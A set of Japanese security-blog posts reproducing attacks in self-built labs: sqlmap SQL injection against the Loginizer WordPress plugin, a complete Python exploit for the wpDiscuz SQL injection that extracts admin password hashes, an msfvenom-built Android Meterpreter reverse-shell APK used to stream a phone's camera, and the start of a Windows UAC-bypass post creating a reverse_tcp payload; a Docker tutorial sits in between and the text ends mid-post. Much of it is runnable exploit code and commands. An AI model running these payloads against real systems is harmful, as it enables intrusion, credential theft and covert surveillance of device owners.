Armoris日記 CVE-2020-27615編

このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2020-27615の検証をやっていく

今週のArmoris日記はCVE-2020-27615の検証を行います。

検証には自身で管理する環境を使用し、自己責任でお願いします

CVE-2020-27615はWordPressのLoginizerプラグインに存在する脆弱性です。
このプラグインのデフォルト機能であるブルートフォース保護機能を悪用することでSQLインジェクションができるようになります。 この機能はプラグインをインストールした際にデフォルトで有効になっています。

脆弱性情報:WPScan
該当プラグインLoginizer

影響を受けるバージョン:Loginizer < 1.6.4

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
Ubuntu Server 20.04
WordPress 5.6
Loginizer 1.6.3
sqlmap 1.5.1.28#dev

検証

今回もまたAnssibleを使用してWordPressの環境を用意します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6547, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.145
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/CVE-2020-13640/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.145 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

以下をクリックすると普段検証用に環境構築をする際使用しているymlファイルが表示されます。

次にプラグインをダウンロードしてディレクトリに配置します。

$ wget https://downloads.wordpress.org/plugin/loginizer.1.6.3.zip
$ sudo unzip loginizer.1.6.3.zip
$ sudo mv loginizer /var/www/wordpress/wp-content/plugins/

WordPressをインストールし、プラグインを有効化します。
CVE-2020-27615はプラグインを有効化するだけで再現可能なためこれで検証環境の準備は完了です。

PoCを試す

今回は以下のsqlmapというPython製のツールを使用して検証を行います。

$ git clone https://github.com/sqlmapproject/sqlmap.git
$ cd sqlmap
$ python3 sqlmap.py                                                                                                                                                                                                    ___
       __H__
 ___ ___[(]_____ ___ ___  {1.5.1.28#dev}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

Usage: python3 sqlmap.py [options]

sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). Use -h for basic and -hh for advanced help

以下は実際にPoCを実行した際の様子です。

$ python3 sqlmap.py -u http://172.20.100.120:6547/wp-login.php --method='POST' --data='log=&pwd=password&wp-submit=Log+In&redirect_to=&testcookie=1' -p log --prefix="', ip = LEFT(UUID(), 8), url = ( TRUE " --suffix=") -- wpdeep
ly" --dbms mysql --technique=T --time-sec=1 --current-db --current-user                                                                                                                                                                                                                                       
        ___                                                                                                                                                                                                                                                                                                   
       __H__                                                                                                                                                                                                                                                                                                  
 ___ ___[.]_____ ___ ___  {1.5.1.28#dev}                                                                                                                                                                                                                                                                      
|_ -| . [.]     | .'| . |                                                                                                                                                                                                                                                                                     
|___|_  ["]_|_|_|__,|  _|                                                                                                                                                                                                                                                                                     
      |_|V...       |_|   http://sqlmap.org                                                                                                                                                                                                                                                                   
                                                                                                                                                                                                                                                                                                              
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program         
                                                                                                                                                                                                                                                                                                              
[*] starting @ 06:42:40 /2021-01-14/                                                                                                                                                                                                                                                                          
                                                                                                                                                                                                                                                                                                              
[06:42:41] [WARNING] provided value for parameter 'log' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly                                                                                                                                                      
[06:42:41] [INFO] testing connection to the target URL                                                                                                                                                                                                                                                        
you have not declared cookie(s), while server wants to set its own ('wordpress_test_cookie=WP+Cookie+check'). Do you want to use those [Y/n]           
                                                                                                                                                                                                                                                                                                              
[06:42:52] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS                                                
[06:42:52] [WARNING] heuristic (basic) test shows that POST parameter 'log' might not be injectable                                                                                                                                                                                                           
[06:42:52] [INFO] testing for SQL injection on POST parameter 'log'                                                                                                                                                                                                                                           
[06:42:52] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'                                                                                                                                                                                                                                
[06:42:52] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done)                                                                                                                                                                                  
[06:42:56] [INFO] POST parameter 'log' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable                                   
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]                          
                                                                                                                                                       
[06:43:18] [INFO] checking if the injection point on POST parameter 'log' is a false positive                                                          
POST parameter 'log' is vulnerable. Do you want to keep testing the others (if any)? [y/N]                                                             
                                                                                                                                                       
sqlmap identified the following injection point(s) with a total of 38 HTTP(s) requests:
---                  
Parameter: log (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: log=', ip = LEFT(UUID(), 8), url = ( TRUE  AND (SELECT 8857 FROM (SELECT(SLEEP(1)))scyu)) -- wpdeeply&pwd=password&wp-submit=Log In&redirect_to=&testcookie=1
---
[06:45:04] [INFO] the back-end DBMS is MySQL
[06:45:04] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[06:45:04] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[06:45:05] [INFO] fetching current user
[06:45:05] [INFO] retrieved: wordpress@localhost
current user: 'wordpress@localhost'
[06:46:16] [INFO] fetching current database
[06:46:16] [INFO] retrieved: wordpress
current database: 'wordpress'
[06:46:50] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/172.20.100.120'

[*] ending @ 06:46:50 /2021-01-14/

実行結果を見るとWordPressが使用しているDBの情報やユーザー情報、データベースの名前までが表示されます。
攻撃者はこれらの情報をもとにさらなる攻撃を行うことができます。

最後に

今回取り上げたLoginizerプラグインは有効インストール数が100万を超えているため、今回の脆弱性の影響も大きいと予想されます。
今回のように規模が大きなプラグイン脆弱性が発見された場合比較的早急に修正されることが多いです。

ぜひ普段使っているアプリなどもこまめに更新を確認してみてください。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

Armoris日記 CVE-2020-13640編

このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2020-13640の検証

今回のArmoris日記ではCVE-2020-13640の検証をやります。
CVE番号からもわかるように報告されたのは2020年になります。

検証には自身で管理する環境を使用し、自己責任でお願いします

CVE-2020-13640はWordPressのwpDiscuzというプラグインに存在する脆弱性です。
この脆弱性プラグインwpdLoadMoreCommentsにあるorderパラメータを利用して任意のSQLコマンドが実行できるというものです。
脆弱性の悪用はプラグインをインストールした際のデフォルト設定の状態で可能です。

脆弱性情報:NVD
該当プラグインwpDiscuz

影響を受けるバージョン:wpDiscuz <= 5.3.5

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
UbuntuServer 20.04
wpDiscuz 1.1.4
WordPress 5.6

検証

まずはいつもの様にVagrantを使用してUbuntuServerとWordPressの環境を構築します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6544, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.44
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/CVE-2020-13640/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.44 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

以下をクリックすると普段検証用に環境構築をする際使用しているymlファイルが表示されます。

次にプラグインをダウンロードしてディレクトリに配置します。

$ wget https://downloads.wordpress.org/plugin/wpdiscuz.5.3.5.zip
$ sudo unzip wpdiscuz.5.3.5.zip
$ sudo mv wpdiscuz /var/www/wordpress/wp-content/plugins/

WordPressをインストールし、プラグインを有効化します。
CVE-2020-13640はプラグインを有効化するだけで発生するためこれで検証環境の準備は完了です。

PoCを試す

準備ができたので実際にPoCを実行してみます。
今回は以下のPoCを使用します。

import sys
import requests
import binascii
try:
    import urlparse
except ImportError:
    import urllib.parse as urlparse

DEFAULT_AJAX_ENDPOINT = '/wp-admin/admin-ajax.php'
DEBUG = False

if len(sys.argv) < 3:
    print('Usage: %s TARGET_URL POST_ID' % sys.argv[0])
    print('TARGET_URL should either point to ajax endpoint or just to site (then default AJAX endpoint %r will be used)' % DEFAULT_AJAX_ENDPOINT)
    print('For example:')
    print('%s http://172.17.0.3 1' % sys.argv[0])
    print('%s http://test.com/wp-content/plugins/wpdiscuz/utils/ajax/wpdiscuz-ajax.php 11834' % sys.argv[0])
    exit(1)

target = sys.argv[1]
commend_id = int(sys.argv[2])

if not target.endswith('.php'):
    target = urlparse.urljoin(target, DEFAULT_AJAX_ENDPOINT)

def make_request_data(order):
    return {
        'action': 'wpdLoadMoreComments',
        'offset': '1',
        'orderBy': 'comment_date_gmt',
        'order': order,
        'lastParentId': '',
        'postId': str(commend_id)
    }

def oracle_check(check):
    request_data = make_request_data(
        ', (select case when (%s) then 1 else 1*(select table_name from information_schema.tables)end)=1 asc  #' % check
    )
    if DEBUG:
        print("REQUEST: %s %s" % (target, request_data))
    resp = requests.post(target, data=request_data, files={None:None})
    if DEBUG:
        print("RESPONSE: %d\n%s" % (resp.status_code, resp.content))
    return resp.json()['comment_list'] is not None

def binary_search(query, min_value=0, max_value=255):
    query = '(' + query + ')'
    while max_value - min_value > 1:
        value = (min_value + max_value) // 2
        if oracle_check(query + ' > ' + str(value)):
            min_value = value
        else:
            max_value = value
    if oracle_check(query + ' > ' + str(min_value)):
        return max_value
    return min_value

def get_fields(table_name, fields_list, where_clause=''):
    n_rows = binary_search(
        ("select count(*) from %s " % table_name) +
        where_clause
    )

    result = []

    for n in range(n_rows):
        row = []
        for field in fields_list:
            value_len = binary_search(
                ('select length(%s) from %s ' % (field, table_name)) +
                where_clause +
                (' LIMIT %d, 1' % n)
            )
            value = ''
            for char_idx in range(value_len):
                char_code = binary_search(
                    ('select ord(substring(%s, %d, 1)) from %s ' % (field, char_idx + 1, table_name)) +
                    where_clause +
                    (' LIMIT %d, 1' % n)
                )
                value += chr(char_code)
            row.append(value)
        print(' '.join(row))

print('Wordpress users')
get_fields('wp_users', [
    'user_login',
    'user_pass'#,
    #'user_activation_key'
])
print("DB tables")

BUILTIN_TABLES = [b'information_schema', b'sys', b'mysql', b'performance_schema']
NOT_BUILTIN_TABLE_CLAUSE = ' and '.join(
    'table_schema != 0x' + binascii.hexlify(t).decode('ascii')
    for t in BUILTIN_TABLES
)
get_fields('information_schema.tables', ['table_name'], 'where ' + NOT_BUILTIN_TABLE_CLAUSE)

PoCを実行すると以下の様な結果が表示されます。

$ python3 exploit.py http://172.20.100.120:6544 1
Wordpress users
admin $P$BIzYvB4w1QPfvWw.tArYlpiP/PaUOy0
DB tables
wp_comments
wp_commentmeta
wp_users
wp_posts
wp_wc_avatars_cache
wp_term_relationships
wp_terms
wp_term_taxonomy
wp_postmeta
wp_wc_phrases
wp_usermeta
wp_termmeta
wp_wc_follow_users
wp_links
wp_wc_comments_subscription
wp_options
wp_wc_users_voted

実行結果からもわかる様にWordPressのユーザー名とパスワード(Hash)、DBのテーブル一覧を取得しています。
プラグインをインストールするだけで今回の脆弱性を再現することができました。

おわりに

今回検証した脆弱性プラグインを有効化してあるだけで悪用可能ですが、プラグインの有効インストール数は8万サイト以上となっているためある程度の影響力があることがわかります。

今回取り上げたプラグインはではすでに脆弱性が修正されたバージョンがリリースされています。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

Armoris日記 Android app HTTP Reverse Shell編

このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

HTTP Reverse Shellを行うAndroidアプリ

2021年最初のArmoris日記ではKali Linuxを使用してHTTP Reverse Shellを行うアプリを作成し、検証端末のカメラ映像取得を試します。

検証には自身で管理する端末を使用し、自己責任でお願いします

今回はツールを使用してAndroidアプリを作成するため、JavaAndroidアプリに関する知識がなくても簡単に試すことができます。

検証環境

検証にあたり使用した環境とバージョンは以下のとおりです。

Name Version
Android 7.0
Kali Linux 2020.04
apktool 2.5.0

検証環境準備

まずはAndroidアプリを作成するためのツールを準備します。
まずはapktoolをインストールします。
公式:APKTOOL

root@kali-linux:~# cd /usr/local/bin
root@kali-linux:/usr/local/bin# wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/osx/apktool
root@kali-linux:/usr/local/bin# wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.5.0.jar
root@kali-linux:/usr/local/bin# chmod a+x ./

インストールの確認

root@kali-linux:/usr/local/bin# apktool -v
Apktool v2.5.0 - a tool for reengineering Android apk files
with smali v2.4.0 and baksmali v2.4.0
Copyright 2010 Ryszard Wiśniewski 
Copyright 2010 Connor Tumbleson 

usage: apktool
 -advance,--advanced   prints advance information.
 -version,--version    prints the version then exits
usage: apktool if|install-framework [options] 
 -p,--frame-path    Stores framework files into .
 -t,--tag           Tag frameworks using .
usage: apktool d[ecode] [options] 
 -f,--force              Force delete destination directory.
 -o,--output        The name of folder that gets written. Default is apk.out
 -p,--frame-path    Uses framework files located in .
 -r,--no-res             Do not decode resources.
 -s,--no-src             Do not decode sources.
 -t,--frame-tag     Uses framework files tagged by .
usage: apktool b[uild] [options] 
 -f,--force-all          Skip changes detection and build all files.
 -o,--output        The name of apk that gets written. Default is dist/name.apk
 -p,--frame-path    Uses framework files located in .

For additional info, see: https://ibotpeaches.github.io/Apktool/
For smali/baksmali info, see: https://github.com/JesusFreke/smali

zipalignをインストールします。

root@kali-linux:/usr/local/bin# apt -y install zipalign

関連パッケージをインストールします。

root@kali-linux:/usr/local/bin# apt -y install lib32stdc++6 lib32z1 lib32z1-dev

ペイロード作成

各種インストールが完了したら実際にAndroid用のapkを作成します。
LHOST/LPORTは自身の環境に合わせて設定します。

root@kali-linux:/home/user/Desktop/Android-app-ReverseHTTP# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.50.131 LPORT=6544 -o ./payload.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10188 bytes
Saved as: ./payload.apk
root@kali-linux:/home/user/Desktop/Android-app-ReverseHTTP# ls
payload.apk

ペイロード実行

ペイロードの生成が完了したら検証端末にインストールして実行します。
まずはKali Linuxで接続を待ち受けます。

┌──(user㉿kali-linux)-[~/Desktop/Android-app-ReverseHTTP]
└─$ msfconsole

Metasploit tip: Enable verbose logging with set VERBOSE
true

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.50.131
lhost => 192.168.50.131
msf6 exploit(multi/handler) > set lport 6544
lport => 6544
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (android/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.50.131    yes       The listen address (an interface may be specified)
   LPORT  6544             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.50.131:6544

検証端末にpayload.apkをインストールします。
f:id:Armoris:20210108195414j:plain

インストールを選択すると以下のようにアラートが出る場合がありますが、そのままインストールするを選択します。
f:id:Armoris:20210108195456j:plain

以下のようアラートが出る場合は送信しないを選択します。
f:id:Armoris:20210108195600j:plain

画像のような画面になったら開くを選択します。
f:id:Armoris:20210108195705j:plain

開くを選択すると以下のようにセッションが確立されます。

[*] Started reverse TCP handler on 192.168.50.131:6544
[*] Sending stage (76756 bytes) to 192.168.50.149
[*] Meterpreter session 5 opened (192.168.50.131:6544 -> 192.168.50.149:38322) at 2021-01-08 19:49:06 +0900

meterpreter >

カメラ映像を取得

いよいよ本題であるカメラ映像の取得を試します。
セッションが確立したmeterpreterで以下のコマンドを実行します。

meterpreter > webcam_stream -i 1
[*] Starting...
[*] Preparing player...
[*] Opening player at: /home/user/Desktop/Android-app-ReverseHTTP/JKCDoUut.html
[*] Streaming...

コマンド実行後自動的にブラウザが立ち上がり以下のようにカメラ映像を取得することができます。
f:id:Armoris:20210108200004p:plain

この時のKali Linuxでのログは以下のようになっています。
ログを見ると画像データを定期的に取得して表示していることがわかります。

meterpreter > webcam_stream -i 1
[*] Starting...
[*] Preparing player...
[*] Opening player at: /home/user/Desktop/Android-app-ReverseHTTP/JKCDoUut.html
[*] Streaming...
[18470:18470:0108/170434.257084:ERROR:edid_parser.cc(102)] Too short EDID data: manufacturer id
libva error: vaGetDriverNameByIndex() failed with unknown libva error, driver_name = (null)
[18511:18511:0108/170434.447249:ERROR:vaapi_wrapper.cc(480)] vaInitialize failed: unknown libva error
[18511:18511:0108/170434.479745:ERROR:sandbox_linux.cc(374)] InitializeSandbox() called with multiple threads in process gpu-process.
Corrupt JPEG data: premature end of data segment
Corrupt JPEG data: 200370 extraneous bytes before marker 0xd9
Corrupt JPEG data: 128 extraneous bytes before marker 0xdb
Corrupt JPEG data: 399 extraneous bytes before marker 0xd2
Corrupt JPEG data: 143 extraneous bytes before marker 0xd2
Corrupt JPEG data: 24 extraneous bytes before marker 0xfd
Corrupt JPEG data: 271 extraneous bytes before marker 0xd2
Corrupt JPEG data: 328 extraneous bytes before marker 0x13
Corrupt JPEG data: premature end of data segment
[18470:18470:0108/170617.294903:ERROR:edid_parser.cc(102)] Too short EDID data: manufacturer id
[18470:18470:0108/170617.327342:ERROR:edid_parser.cc(102)] Too short EDID data: manufacturer id
Corrupt JPEG data: 7 extraneous bytes before marker 0xd9
Corrupt JPEG data: 456 extraneous bytes before marker 0x13
Corrupt JPEG data: 10 extraneous bytes before marker 0xc0
Corrupt JPEG data: 10 extraneous bytes before marker 0xc0
Corrupt JPEG data: 128 extraneous bytes before marker 0xdb
Corrupt JPEG data: 128 extraneous bytes before marker 0xdb

コマンド実行時の-iオプションの数字を2にすることで内側のカメラ映像を取得することができます。

この時対象端末でカメラアプリを起動使用すると以下のようにエラーが発生します。
f:id:Armoris:20210108200550j:plain

最後に

今回はHTTP Reverse Shellを仕込んだAndroidアプリを作成し、実際に端末のカメラから映像を取得しました。手順を見てもわかるように、Payloadアプリの作成から映像取得まで容易に行うことが確認できたと思います。
また、インストール時の許可設定も非常に多くほぼ全ての権限を要求しています。

今後公式ストア以外から直接.apkファイルをダウンロードしてインストールする場合は、権限の要求内容などもよく確認してみてください。

検証には自身で管理する端末を使用し、自己責任でお願いします

Armoris日記 Dockerと迎えるクリスマス編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

今年のクリスマスは家でDockerと過ごそう!

今回のArmoris日記は私が普段環境構築などで使用しているDockerの入門編をお送りします。
普段Armoris日記では検証環境を用意する際にVirtualBoxをよく使用しますが、今回はより手軽に環境の作成や破棄が行えるDockerを紹介します。

今回の例ではホストOSにUbuntuを使用しています。
今年のクリスマスはDockerと仲良くなりましょう!

公式インストールガイド:Install Docker Engine on Ubuntu

f:id:Armoris:20201225155215p:plain

UbuntuにDockerをインストール

まずはUbuntuに前提ソフトウェアをインストールします。

user@blog-ubuntu:~$ sudo apt update
user@blog-ubuntu:~$ sudo apt -y install \
>    apt-transport-https \
>    ca-certificates \
>    curl \
>    gnupg-agent \
>    software-properties-common

次にDockerのGPG Keyを追加します。

user@blog-ubuntu:~$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
OK

追加したGPG Keyのフィンガープリントを確認します。
以下と同じ出力になっていれば正しいGPG Keyがインストールされています。

user@blog-ubuntu:~$ sudo apt-key fingerprint 0EBFCD88
pub   rsa4096 2017-02-22 [SCEA]
      9DC8 5822 9FC7 DD38 854A  E2D8 8D81 803C 0EBF CD88
uid           [ unknown] Docker Release (CE deb) 
sub   rsa4096 2017-02-22 [S]

次にリポジトリを追加します。
x86_64/amd64

user@blog-ubuntu:~$ sudo add-apt-repository \
>    "deb [arch=amd64] https://download.docker.com/linux/ubuntu \
>    $(lsb_release -cs) \
>    stable"

ここまでの作業が完了したらパッケージリストを更新してDockerをインストールします。

user@blog-ubuntu:~$ sudo apt update
user@blog-ubuntu:~$ sudo apt -y install docker-ce docker-ce-cli containerd.io

最後に一般ユーザーでもDockerを使えるようにユーザーをdockerグループに所属させます。

user@blog-ubuntu:~$ sudo usermod -aG docker user

Dockerを使う

まずは正常にインストールができたか確認するためにhello-worldイメージを実行します。
以下のように表示されていれば正常にDockerがインストールされています。

user@blog-ubuntu:~$ docker run hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
0e03bdcc26d7: Pull complete 
Digest: sha256:1a523af650137b8accdaed439c17d684df61ee4d74feac151b5b337bd29e7eec
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
 1. The Docker client contacted the Docker daemon.
 2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
    (amd64)
 3. The Docker daemon created a new container from that image which runs the
    executable that produces the output you are currently reading.
 4. The Docker daemon streamed that output to the Docker client, which sent it
    to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
 $ docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
 https://hub.docker.com/

For more examples and ideas, visit:
 https://docs.docker.com/get-started/

まずはイメージ一覧を表示します。
以下のように先ほど実行したhello-worldimageが表示されていると思います。

user@blog-ubuntu:~$ docker image ls
REPOSITORY    TAG       IMAGE ID       CREATED         SIZE
hello-world   latest    bf756fb1ae65   11 months ago   13.3kB

次に先ほど実行したDockerコンテナを表示します。
-aオプションをつけることで以下のように起動していないコンテナも表示することができます。

user@blog-ubuntu:~$ docker container ls -a
CONTAINER ID   IMAGE         COMMAND    CREATED         STATUS                     PORTS     NAMES
54aa0a473f92   hello-world   "/hello"   7 minutes ago   Exited (0) 7 minutes ago             wonderful_easley

Dockerは基本的にhello-worldのようにdocker run <image>とすることで使用することができます。

Docker公式Ubuntu image:docker hub ubuntu
Ubuntu20.04のDockerコンテナを使用したい場合は以下のようにします。

user@blog-ubuntu:~$ docker run ubuntu:20.04

Dockerコンテナを起動してコンテナのシェルに接続するには-itオプションを指定して以下のようにします。

user@blog-ubuntu:~$ docker run -it ubuntu:20.04 /bin/bash
root@299f88c38754:/# ls
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

他にもDockerfileを作成しオリジナルのイメージを作成してそこからコンテナを作成することも可能です。

不要になったコンテナを削除する場合はrmコマンドを使用します。

user@blog-ubuntu:~$ docker container -a
CONTAINER ID   IMAGE          COMMAND       CREATED         STATUS                     PORTS     NAMES
7b1e6b0a6818   ubuntu:20.04   "/bin/bash"   6 seconds ago   Exited (0) 5 seconds ago             bold_faraday
user@blog-ubuntu:~$ docker rm 7b1e6b0a6818
7b1e6b0a6818
user@blog-ubuntu:~$ docker container -a
CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES

Dockerの扱いに慣れてきたらdocker-composeを使用してより複雑な環境を簡単に作成することもできます。

以上で簡単なDockerの使い方に関する紹介は終わりとなります。

まとめ!!!

普段環境構築をする際の例として使用しているVirtualBoxに比べてインストールの手間が無いことや、気軽にコンテナの作成・破棄が行えるDockerを紹介しました。
この機会にDockerの使い方を覚えてぜひ普段の検証や環境構築で利用してみてください。

今年のArmoris日記はこの記事で最後の予定です。(もしネタがあれば年内に更新します)

Armoris日記を読んでいただきありがとうございます。来年も脆弱性の検証や今回のようなTips記事を書いていこうと思います。

Armoris日記 CVE-2020-14207編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2020-14207の検証

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

今回のArmoris日記では、とあるサイトでPoCを発見したCVE-2020-14207についての検証を行います。
CVE-2020-14207はWordPressのDiveBookというプラグインに存在する脆弱性です。現在、このプラグインの開発は止まっており、当該脆弱性の修正はなされていない状態です。

脆弱性の概要はプラグインのfilter_diverパラメーターが適切にサニタイズされていなかったためSQLiが発生するというものです。

脆弱性情報:WPScan
該当プラグインDiveBook

影響を受けるバージョン:DiveBook <= 1.1.4 latest version

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
UbuntuServer 20.04
DiveBook 1.1.4
WordPress 5.6

検証環境の準備

まずはVagrantを使用してUbuntuServerとWordPressの環境を構築します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6588, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.138
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/DiveBook/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.138 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

今回も普段使用している以下のymlファイルを用いてWordPressの環境を構築します。

WordPressの構築が完了したらDiveBookプラグインを導入します。

vagrant@ubuntu2004:~$ wget https://downloads.wordpress.org/plugin/divebook.1.1.4.zip
vagrant@ubuntu2004:~$ unzip divebook.1.1.4.zip
vagrant@ubuntu2004:~$ sudo cp -r divebook /var/www/wordpress/wp-content/plugins/

WordPressにログイン後プラグインを有効化して準備完了です。

検証

現在脆弱性が修正されていない状態であり、WPScanでPoCが公開されていないためArmoris日記で詳しいPoCの解説は行いません。

まずはデフォルトのHello World!ページを編集して以下の内容を入力し、DiveBookプラグインを使用できる状態にします。

[divebook]divebook_display();[/divebook]

以下の画像はプラグインを埋め込んだ状態です。 f:id:Armoris:20201218185614p:plain

次にパラメーターを変更したURLにアクセスすることで以下のように使用しているDBのバージョン情報が表示されます。 f:id:Armoris:20201218185934p:plain
f:id:Armoris:20201218185953p:plain

その他にも別のパラメーターを使用することで以下のようにDBのデータを表示することができます。 f:id:Armoris:20201218190508p:plain

おわりに

今回検証したように、プラグインの開発が終了しているなどの理由により、見つかった脆弱性が修正されていないことが多くあります。
プラグインやソフトウェアを導入する際は使いやすさだけでなく、開発が継続的に行われているか、コミュニティが活発に活動しているかなども気にかけるようにすると良いのではないでしょうか。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

Armoris日記 Win10 UAC Bypass編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Windows10でUAC Bypassをやってみよう

検証は自身で管理するマシン以外には行わないでください。
また、検証は自己責任でお願いします。

今回のArmoris日記は、HTTP Reverse Shellから侵入し、Windows10のUAC Bypassを再現してみた内容を紹介します。

そもそもUACとは User Account Control といい、管理者権限を持つユーザーに普段は一般ユーザーと同じ権限しか与えず、管理者権限の必要な処理を実行しようとした際に警告ダイアログを表示して本当に実行してよいか確認するなどして適正なアカウント権限の管理を行う機能のことです。
今回は、この機能をBypassして管理者権限に昇格する手法を試します。

検証環境

検証にあたり使用した環境は以下の通りです。

Name Version
MSEdge Win10 1809
Kali Linux 2020.2
  • Other :
    • MSF exploit/multi/handler
      • PAYLOAD windows/x64/meterpreter/reverse_tcp
      • PAYLOAD windows/local/bypassuac_silentcleanup

環境準備

まずは以下のURLからブラウザ検証用の仮想マシンイメージを取得します。私はVirtualBox用のイメージを使用しています。
Microsoft Edge Developer

ダウンロードが完了したらVirtualBoxでインポート機能を使用して起動します。
検証用のイメージはデフォルトパスワードが Passw0rd!に設定されています。
画像のようにWindowsにログイン後各種保護をオフにします。
設定項目はSettings → Update & Security → Windows Security → Open Windows Securityからアクセスできます。 f:id:Armoris:20201211175407p:plain

次にKali Linuxを起動し、Payloadの作成を行います。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ sudo msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.1.30 -f exe -o ./hack.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: ./hack.exe

┌──(user㉿kali-linux)-[~/Desktop]
